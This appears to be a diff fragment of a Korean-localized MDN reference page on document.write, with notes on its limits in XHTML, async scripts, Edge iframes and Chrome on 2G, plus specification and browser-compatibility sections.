Note: document.write and document.writeln do not work in XHTML documents (you'll get a "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml {{Glossary("MIME type")}}. More information is available in the W3C XHTML FAQ.
+ +
Note: document.write in deferred or asynchronous scripts will be ignored, and you'll get a message like "A call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
+ +
Note: In Edge only, calling document.write more than once in an iframe causes the error SCRIPT70: Permission denied.
+ +
Note: Starting in 55, Chrome will not execute <script> elements injected via document.write() in case of an HTTP cache miss for users on a 2G connection.
+ +

사양

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}{{Spec2("DOM2 HTML")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.write")}}

+ +

See also

+ + -- cgit v1.2.3-54-g00ecf